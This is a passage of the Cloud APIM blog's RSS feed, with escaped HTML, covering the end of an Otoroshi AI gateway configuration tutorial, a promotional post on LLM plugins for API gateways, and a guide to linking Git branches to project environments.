&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;paths&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;/context&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;post&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;tags&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;summary&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;operationId&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;getAIContext&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;x-cloud-apim-backend&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;$ref&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;#/components/x-cloud-apim-backends/mirror&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;x-cloud-apim-plugins&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;$ref&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;#/components/x-cloud-apim-plugins/context&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;components&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;x-cloud-apim-plugins&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;context&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;debug&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;plugin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;cp:otoroshi.next.plugins.OverrideHost&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;include&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;exclude&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;config&quot;&lt;/span&gt;&lt;span&gt;: {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;debug&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;plugin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiLlmProxy&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;include&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;exclude&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;config&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;ref&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;provider-openai&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;debug&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;plugin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiPromptContext&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;include&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;exclude&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;config&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;ref&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;ai-context&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;x-cloud-apim-backends&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;mirror&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;targets&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;hostname&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;mirror.otoroshi.io&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;port&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;tls&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;root&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;/&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;rewrite&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;8-go-further&quot;&gt;8. Go further&lt;/h3&gt;
&lt;p&gt;You can go further by adding &lt;em&gt;API Keys&lt;/em&gt; to secure your &lt;strong&gt;AI endpoints&lt;/strong&gt; and use much more plugins provided by &lt;strong&gt;Cloud APIM&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Customization of your API endpoints is unlimited.&lt;/p&gt;
&lt;h2 id=&quot;-conclusion&quot;&gt;✨ Conclusion&lt;/h2&gt;
&lt;p&gt;Creating your first AI provider entity and context entity can significantly enhance the capabilities of your API gateway.&lt;/p&gt;
&lt;p&gt;By integrating AI, you can provide smarter, more secure, and personalized experiences for your users.&lt;/p&gt;
&lt;p&gt;Follow the steps outlined in this guide to get started on your AI journey and unlock the full potential of your API management.&lt;/p&gt;
&lt;p&gt;To help you using our new set of plugins, we created a YouTube playlist containing all our AI Gateway videos.&lt;/p&gt;
&lt;p class=&quot;embed embed-link&quot;&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh&quot;&gt;https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh&lt;/a&gt;&lt;/p&gt;
### **🚀 Get Started Now**
&lt;p&gt;Ready to get started with &lt;a href=&quot;https://cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Sign up now&lt;/strong&gt;&lt;/a&gt; and take the first step towards secure and efficient &lt;strong&gt;API management&lt;/strong&gt; !&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; and &lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>AI</category><category>LLM</category><category>API gateway</category><category>AI gateway</category><category>APIs</category><category>API management</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.iw_oKUyc_Z27uAAf.jpg" length="0" type="image/jpeg"/></item><item><title>🤖 AI in Your API Gateway : Introducing Otoroshi LLM extension for more efficiency and security 🚀</title><link>https://blog.cloud-apim.com/otoroshi-llm-ai-api-gateway</link><guid isPermaLink="true">https://blog.cloud-apim.com/otoroshi-llm-ai-api-gateway</guid><description>Unlock AI-driven security and efficiency with the Otoroshi LLM extension for API gateways. Enhance performance and reduce risks with advanced AI…</description><pubDate>Mon, 08 Jul 2024 08:12:46 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction-to-ai-gateways&quot;&gt;Introduction to AI Gateways&lt;/h2&gt;
&lt;p&gt;API gateways are essential in modern architecture. They manage traffic between your services, control traffic going to your applications and apis, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt;, what if they could do more ?&lt;/p&gt;
&lt;p&gt;🌟 &lt;strong&gt;AI&lt;/strong&gt; can transform your &lt;strong&gt;API gateway&lt;/strong&gt;, making it smarter and more efficient.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;LLM + API Gateway = AI Gateway ❤️&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;At &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt;, we have created a set of Large Language Model (LLM) plugins for &lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;Otoroshi&lt;/a&gt;, the open-source reverse proxy and API Management, in order to connect your API to a LLM and benefits from its capacities.&lt;/p&gt;
&lt;p&gt;These plugins will be open sourced very soon ! Stay tuned.&lt;/p&gt;
&lt;p&gt;In this little blog post, we will see how AI could help you in many cases : Adding context to your API, create prompt templates, data anonymization and much much more !&lt;/p&gt;
&lt;h2 id=&quot;-contextual-intelligence&quot;&gt;💡 Contextual Intelligence&lt;/h2&gt;
&lt;p&gt;AI brings contextual intelligence. It understands the context of your API requests. This means smarter, more relevant responses.&lt;/p&gt;
&lt;p&gt;Your APIs becomes more efficient.&lt;/p&gt;
&lt;p&gt;AI can analyze patterns and predict user needs, enhancing the overall user experience.&lt;/p&gt;
&lt;p&gt;Context-aware routing ensures the right data is delivered at the right time, reducing latency and improving performance.&lt;/p&gt;
&lt;h2 id=&quot;️-dynamic-prompt-templating&quot;&gt;🛠️ Dynamic Prompt Templating&lt;/h2&gt;
&lt;p&gt;AI enables dynamic prompt templating.&lt;/p&gt;
&lt;p&gt;Templates adjust based on real-time data.&lt;/p&gt;
&lt;p&gt;This streamlines complex workflows. It’s customization at its best.&lt;/p&gt;
&lt;p&gt;AI-driven prompts can guide users through complex processes, reducing errors and improving satisfaction.&lt;/p&gt;
&lt;p&gt;Dynamic templates mean your APIs can adapt on the fly, providing tailored interactions without manual intervention.&lt;/p&gt;
&lt;h2 id=&quot;️️-enhancing-data-privacy-with-ai-powered-data-anonymization-&quot;&gt;🕵️‍♂️ Enhancing Data Privacy with AI-Powered Data Anonymization 🔒&lt;/h2&gt;
&lt;p&gt;Data anonymization is a critical component of modern data management, particularly in the context of API gateways.&lt;/p&gt;
&lt;p&gt;AI-powered anonymization techniques offer advanced methods to protect sensitive information while preserving data utility.&lt;/p&gt;
&lt;p&gt;By integrating these techniques into your API gateway, you can enhance privacy, ensure compliance, and maintain the trust of your users.&lt;/p&gt;
&lt;p&gt;Embrace AI-driven anonymization to safeguard your data and unlock its full potential responsibly.&lt;/p&gt;
&lt;h2 id=&quot;-real-world-use-cases&quot;&gt;🌍 Real-World Use Cases&lt;/h2&gt;
&lt;p&gt;AI in API gateways is not just theory.&lt;/p&gt;
&lt;p&gt;Companies worldwide are implementing these solutions.&lt;/p&gt;
&lt;p&gt;For instance, e-commerce platforms use AI to personalize shopping experiences.&lt;/p&gt;
&lt;p&gt;Financial services leverage AI for fraud detection.&lt;/p&gt;
&lt;p&gt;Healthcare providers utilize AI to manage patient data securely.&lt;/p&gt;
&lt;p&gt;The possibilities are endless.&lt;/p&gt;
&lt;h2 id=&quot;-future-prospects&quot;&gt;🚀 Future Prospects&lt;/h2&gt;
&lt;p&gt;The future of AI in API Gateways looks bright.&lt;/p&gt;
&lt;p&gt;With continued advancements, we can expect even more sophisticated features.&lt;/p&gt;
&lt;p&gt;Improved predictive analytics, deeper integrations, and smarter automation are on the horizon.&lt;/p&gt;
&lt;p&gt;Staying up to date with these trends will allow you to keep your API management on the cutting edge.&lt;/p&gt;
&lt;h2 id=&quot;-conclusion&quot;&gt;✨ Conclusion&lt;/h2&gt;
&lt;p&gt;AI transforms API Gateways by providing intelligence, security and efficiency.&lt;/p&gt;
&lt;p&gt;Ready to revolutionize your API management?&lt;/p&gt;
&lt;p&gt;Integrate AI into your gateway today ! 🚀&lt;/p&gt;
&lt;p&gt;✨ With AI, your API Gateway is no longer just a traffic manager, but a powerful tool that drives innovation and growth.&lt;/p&gt;
&lt;p&gt;To help you using our new set of plugins, we created a YouTube playlist containing all our AI Gateway videos.&lt;/p&gt;
&lt;p class=&quot;embed embed-link&quot;&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh&quot;&gt;https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh&lt;/a&gt;&lt;/p&gt;
## **🚀** Start putting AI into your API Gateway now !
&lt;p&gt;If you wish to use the AI ​​plugins available for Otoroshi, you can do so today via our two offers &lt;a href=&quot;https://cloud-apim.com/&quot;&gt;Otoroshi managed instances&lt;/a&gt; and &lt;a href=&quot;https://cloud-apim.com/serverless&quot;&gt;Serverless projects&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In addition to these plugins, you will have access to more than &lt;strong&gt;50 other plugins&lt;/strong&gt; for customizing and managing your APIs !&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Sign up now&lt;/strong&gt;&lt;/a&gt; and take the first step towards secure and efficient &lt;strong&gt;API management&lt;/strong&gt; !&lt;/p&gt;
&lt;h2 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; and &lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>AI gateway</category><category>AI</category><category>LLM</category><category>APIs</category><category>API gateway</category><category>Otoroshi</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.CLRq5EK2_ZniHo5.jpg" length="0" type="image/jpeg"/></item><item><title>🌍  Managing multiple project environments with Cloud APIM Serverless 🚀</title><link>https://blog.cloud-apim.com/managing-multiple-project-environments-with-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/managing-multiple-project-environments-with-cloud-apim-serverless</guid><description>In modern software development, maintaining separate environments is essential for ensuring quality and stability. Cloud APIM Serverless uses the power of GitOps to help with the management of these environments, making it easy to link different…</description><pubDate>Thu, 20 Jun 2024 07:08:08 GMT</pubDate><content:encoded>&lt;p&gt;In modern software development, maintaining separate environments is essential for ensuring &lt;strong&gt;quality&lt;/strong&gt; and &lt;strong&gt;stability&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt; uses the power of GitOps to help with the management of these environments, making it easy to link different environments to specific &lt;strong&gt;Git branches&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We will see through this article what environments are used for and how to use them.&lt;/p&gt;
&lt;div class=&quot;embed embed-video&quot;&gt;&lt;iframe src=&quot;https://www.youtube-nocookie.com/embed/nojzK9O6Ozw&quot; title=&quot;YouTube video&quot; loading=&quot;lazy&quot; allow=&quot;accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;
### 🌍 **Why using Multiple Environments ?**
&lt;p&gt;Using multiple environments allows you to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Test changes safely :&lt;/strong&gt; Validate new features and bug fixes in a controlled environment before they reach production.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ensure stability :&lt;/strong&gt; Isolate &lt;em&gt;&lt;strong&gt;production&lt;/strong&gt;&lt;/em&gt; from &lt;em&gt;&lt;strong&gt;development&lt;/strong&gt;&lt;/em&gt; and testing activities to minimize the risk of introducing bugs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Facilitate collaboration :&lt;/strong&gt; Enable different teams to work simultaneously without interfering with each other’s work.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-set-up-multiple-project-environments&quot;&gt;🚀 &lt;strong&gt;Set up multiple project Environments&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Create Separate Git Branches:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Start by creating separate branches for each environment in your Git repository, such as &lt;code&gt;development&lt;/code&gt;, &lt;code&gt;staging&lt;/code&gt;, and &lt;code&gt;production&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ensure that each branch reflects the state of its respective environment.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure Environments in Cloud APIM Serverless:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Log in to your &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;Cloud APIM Serverless dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Navigate to the “Projects” section and select your project.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on “&lt;em&gt;Environments&lt;/em&gt;” and add new environments for &lt;em&gt;&lt;strong&gt;staging&lt;/strong&gt;&lt;/em&gt;, and &lt;em&gt;&lt;strong&gt;production&lt;/strong&gt;&lt;/em&gt;. You can name it as you wish.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At the creation of your project, a default ’ &lt;em&gt;sandbox&lt;/em&gt; ’ environment is created. It’s a dev environment, you can link it to your &lt;code&gt;development&lt;/code&gt; branch.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Link Git Branches to Environments:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;For each environment, configure the corresponding Git branch:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Select the environment (e.g. &lt;code&gt;production&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Link the environment to the &lt;code&gt;production&lt;/code&gt; branch of your Git repository.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Repeat this process for all your environments, linking them to their respective branches.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;-benefits-of-using-separated-environments&quot;&gt;🌟 &lt;strong&gt;Benefits of using Separated Environments&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Isolation of Changes&lt;/strong&gt; : Separated environments allow you to test new features, updates, or fixes in isolation without affecting the live production environment.&lt;/p&gt;
&lt;p&gt;This isolation helps catching bugs and issues early, reducing the risk of introducing problems into the production environment.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Risk Mitigation&lt;/strong&gt; : By separating environments, you minimize the impact of potential disruptions.&lt;/p&gt;
&lt;p&gt;Issues encountered in the &lt;code&gt;development&lt;/code&gt; or &lt;code&gt;staging&lt;/code&gt; environment can be resolved without affecting end users, thus maintaining the stability and reliability of the &lt;code&gt;production&lt;/code&gt; environment.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt; : Using separated environments also help maintaining compliance with regulatory requirements by ensuring that sensitive data is only used in appropriate environments.&lt;/p&gt;
&lt;p&gt;They also enhance security by restricting access to production data and systems, reducing the risk of unauthorized changes or data breaches.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-conclusion&quot;&gt;🎉 &lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Managing multiple environments using Git branches in &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; enhances your development workflow, ensuring a smooth and reliable path from development to production.&lt;/p&gt;
&lt;p&gt;By leveraging &lt;strong&gt;GitOps&lt;/strong&gt; practices, you can automate deployments, maintain consistency, and streamline collaboration across your team.&lt;/p&gt;
&lt;p&gt;Start integrating multiple environments in your &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; project today and experience the benefits of a robust, efficient, and scalable API management solution.&lt;/p&gt;
&lt;h3 id=&quot;-get-started-now&quot;&gt;&lt;strong&gt;🚀 Get Started Now&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ready to get started with &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; ?&lt;/p&gt;
